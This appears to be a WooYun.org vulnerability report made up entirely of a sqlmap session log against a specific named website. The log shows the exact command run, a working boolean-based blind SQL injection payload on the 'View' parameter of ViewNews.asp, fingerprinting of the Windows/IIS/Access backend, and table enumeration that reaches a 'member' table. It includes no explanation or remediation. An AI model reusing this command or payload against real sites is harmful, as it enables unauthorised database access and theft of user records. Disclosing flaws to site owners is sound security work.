WooYun.org

[root@Hacker~]# Sqlmap Sqlmap -u "http://www.chinaexpresstw.com.tw/News/ViewNews.asp?View=1280" -D member --tables --thread 10
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all
[*] starting at 06:49:15
[06:49:15] [INFO] resuming back-end DBMS 'microsoft access'
[06:49:16] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: View
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: View=1280 AND 2609=2609
---
[06:49:16] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[06:49:16] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[06:49:16] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[06:49:16] [INFO] retrieved:
[06:49:16] [WARNING] reflective value(s) found and filtering out
[06:49:17] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[06:49:17] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[06:49:17] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[06:49:18] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled oc
[06:49:18] [INFO] checking table existence using items from 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\txt\common-tables.txt'
[06:49:18] [INFO] adding words used on web page to the check list
[06:49:18] [INFO] starting 10 threads
[06:49:24] [INFO] retrieved: news
[06:49:51] [INFO] retrieved: member
[06:50:31] [INFO] tried 921/3159 items (29%)
[06:50:31] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[06:50:31] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
[06:52:10] [INFO] tried 2160/3159 items (68%)
[06:52:10] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[06:52:10] [INFO] tried 2169/3159 items (69%)
[06:52:10] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[06:53:10] [INFO] tried 2916/3159 items (92%)
[06:53:10] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[06:53:24] [INFO] tried 3036/3159 items (96%)
[06:53:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
Database: Microsoft_Access_masterdb
[2 tables]
+--------+
| member |
| news   |
+--------+
[06:53:33] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\www.chinaexpresstw.com.tw'